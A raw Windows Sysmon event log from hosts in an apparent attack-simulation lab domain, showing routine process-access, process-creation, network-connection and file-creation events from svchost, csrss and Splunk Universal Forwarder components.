14:50:31.727{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014919Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:31.727{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014918Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:31.727{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014917Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:31.727{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014916Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:31.727{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014915Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:31.727{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014914Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:31.727{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014913Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:31.727{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014912Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:31.727{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014911Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:31.727{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-70B7-613B-BE04-00000000F101}3968C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000014910Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:31.727{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-70B7-613B-BE04-00000000F101}3968C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000014909Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:31.727{625C326B-70B7-613B-BE04-00000000F101}3968C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 354300x800000000000000014908Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:29.500{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50192-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000014907Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:31.306{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2FE35F62EBF2F4FF2504ED10E2838132,SHA256=0AB898CDAB58A0E1EB1F93E6D7BF6A69775BCEC00B1CE35140A1D9F9D11141CF,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047342Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:31.994{7BD73061-65B2-613B-1100-00000000F001}432NT AUTHORITY\LOCAL SERVICEC:\Windows\System32\svchost.exeC:\Windows\ServiceProfiles\LocalService\AppData\Local\lastalive1.datMD5=4733D506D810C171EA6FA66AD97F4C11,SHA256=8C9CBC10E1C1089ECCD8FB2E44F33080DF6D30DF299E4ECA66814243C52B1729,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000047341Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:28.928{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59382-false10.0.1.12-8089- 23542300x800000000000000014951Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:32.758{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=59A2396F79E43D0E610C27E9D3C6C181,SHA256=5240D07C821415D033C05F024E34BB3BB5A507638FE34DF3124849766036A0D5,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014950Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:32.758{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=56AE163100BE8C515C634E1319664F27,SHA256=203A7D6E0CB65FD0744817852EFA59E07093A86C40E37724C90062A1AFCBCF39,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000014949Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:32.727{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-70B8-613B-C004-00000000F101}1916C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014948Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:32.727{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014947Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:32.727{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014946Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:32.727{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014945Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:32.727{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014944Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:32.727{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014943Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:32.727{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014942Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:32.727{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014941Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:32.727{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014940Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:32.727{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014939Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:32.727{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-70B8-613B-C004-00000000F101}1916C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000014938Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:32.727{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-70B8-613B-C004-00000000F101}1916C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program 